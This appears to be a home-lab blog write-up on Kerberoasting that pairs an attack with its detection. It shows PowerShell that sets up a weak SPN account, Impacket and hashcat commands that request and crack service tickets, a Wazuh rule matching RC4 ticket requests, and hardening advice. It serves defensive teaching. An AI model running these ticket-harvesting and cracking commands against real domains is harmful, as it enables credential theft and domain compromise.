Kerberoasting: Attack, Detect, and Defend

Full red-blue exercise: executing Kerberoasting in my AD home lab and building Wazuh detection rules to catch it in real time.

TABLE OF CONTENTS

What is Kerberoasting?

Kerberoasting is a post-exploitation technique where an attacker with any valid domain account requests Kerberos service tickets and cracks them offline. It targets accounts with Service Principal Names (SPNs).

This lab was performed in a fully isolated home environment. Never attempt this on networks you do not own.

Lab Environment

Attacker: Kali Linux + Impacket
Victim: Windows Server 2022 AD with a weak service account
Defender: Wazuh SIEM monitoring DC event logs

Setup: Creating a Vulnerable Service Account

powershell
New-ADUser -Name 'svc-webapp' -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Enabled $true
setspn -a HTTP/webapp.lab.local svc-webapp

The Attack

bash
python3 GetUserSPNs.py lab.local/user:Pass -dc-ip 192.168.1.10 -request -outputfile hashes.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Detection with Wazuh

Event ID 4769 with RC4 encryption type 0x17 is the giveaway:

xml
<rule id="100010" level="12">
  <field name="win.system.eventID">^4769$</field>
  <field name="win.eventdata.ticketEncryptionType">^0x17$</field>
  <description>Kerberoasting: RC4 ticket requested</description>
  <mitre><id>T1558.003</id></mitre>
</rule>

Enforcing AES-256 for all service accounts eliminates crackable hashes entirely. RC4 should be disabled org-wide.

Key Takeaways

Detection must happen on the DC via Windows event logs
Kerberoasting is invisible to network-level monitoring
Fix: disable RC4, use 25+ char service account passwords, audit SPNs
MITRE ATT&CK: T1558.003

active-directorykerberoastingdetectionwindowsmitre

← All Posts